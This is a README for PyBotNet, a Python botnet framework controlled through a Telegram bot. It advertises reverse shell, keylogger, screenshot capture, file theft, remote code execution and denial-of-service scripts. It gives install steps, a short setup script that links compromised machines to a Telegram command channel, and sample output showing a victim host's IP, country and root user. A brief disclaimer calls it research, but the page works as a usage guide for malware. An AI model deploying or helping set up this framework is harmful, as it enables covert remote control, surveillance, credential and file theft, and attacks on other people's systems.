Pybotnet
PyBotNet: A Remote Control Framework for Python with Telegram Integration
Install / Use
/learn @onionj/PybotnetREADME
Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!.
Source Code: <a href="https://github.com/onionj/pybotnet" target="_blank">https://github.com/onionj/pybotnet</a>
Documentation: <a href="https://onionj.github.io/pybotnet/" target="_blank">https://onionj.github.io/pybotnet/</a>
Deep Wiki (AI Generated Documentation): <a href="https://deepwiki.com/onionj/pybotnet" target="_blank">https://deepwiki.com/onionj/pybotnet</a>
ToDo List: <a href="https://github.com/users/onionj/projects/1" target="_blank">https://github.com/users/onionj/projects/1</a>
Features:
- Built in Telegram control pannel and proxy system
- Built in scripts like:
- reverse shell
- put or get file
- run python code on target systems
- get screenshot
- keylogger
- dos
- scheduler
- ...
- Cross platform
- Ability to easily add custom scripts
- Import external scripts
- Ability to add custom control panel
- Add remote control to your apps
- ...
Install PyBotNet
pip3 install pybotnet -U
-U: make sure to upgrade framework to latest version.
The simplest PyBotNet file could look like this:
# in main.py
from pybotnet import BotNet, TelegramEngine
telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1)
botnet = BotNet(telegram_engine) # (2)
botnet.run()
- create engine: Engines transfer messages between admin and botnet
- create BotNet instance
note:
TELEGRAM_TOKEN: You can use telegram@botfatherto Create new telegram API Bot and get yourTELEGRAM_TOKENADMIN_CHAT_ID: Get it from @userinfobot telegram bot- PyBotNet include default scripts, like:
/shell,/put_file,/get_file,/screenshot,/who, ..., you can send/helpto your telegram bot and see more detail..
Run code:
python3 main.py
telegram engine
open telegram and send /who command to your bot; If you have done the steps correctly, you recive a message like this:
scripts_name:
echo
who
shell
screenshot
put_file
get_file
runcode
openurl
dos
schedule
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
local_ip: {'192.168.23.1'}
host_name: {'system_name'}
system_user: root
up_time: 0:00:01
current_route: /
pid: 148352
cpu_count: 8
pybotnet_version: 2.0.8b0
from cache: True
you can send /help to see help page, or send /help <script_name> to recive more help about a specific script.
for example send /help screenshot, You will receive:
NAME:
screenshot
DESCRIPTION:
get screen shot
* `[mac-address] /screenshot`
or
* `/screenshot`
example command:
* `94945035671481 /screenshot`
* `/screenshot`
return: img or img-download-link
script_version: 0.0.1
default_script: True
___________________________
scripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
use_proxy: False
in top of message you see script name, description, syntax, and examples.
for run screenshot script you have two choice:
- Run the script on all clients that are listening to Telegram bot (for now we have one!)
- Run script on one specific system
for run script on all client send /screenshot.
bot if you need to get screen-shot on a specific system you need to send [mac_addres] /screenshot for our case: 228362405364 /screenshot
in some case like /shell you need to run it just for one system.
For see who we can Add custom scripts, Run in background, Running the pybotnet without coding, and etc, see the below documentation.
For more, see Documentation
Contributors ✨
Thanks goes to these wonderful people :
<table> <td align="center"><a href="https://github.com/TorhamDev"><img src="https://avatars.githubusercontent.com/u/87639984?v=4" width="70px;" alt=""/><br /><sub><b> TorhamDev</b></sub></a><br /></td> <td align="center"><a href="https://github.com/SepehrRasouli"><img src="https://avatars.githubusercontent.com/u/81516241?v=4" width="70px;" alt=""/><br /><sub><b> SepehrRasouli</b></sub></a><br /></td> </table>Related Skills
node-connect
342.5kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
claude-opus-4-5-migration
85.3kMigrate prompts and code from Claude Sonnet 4.0, Sonnet 4.5, or Opus 4.1 to Opus 4.5
frontend-design
85.3kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
model-usage
342.5kUse CodexBar CLI local cost usage to summarize per-model usage for Codex or Claude, including the current (most recent) model or a full model breakdown. Trigger when asked for model-level usage/cost data from codexbar, or when you need a scriptable per-model summary from codexbar cost JSON.
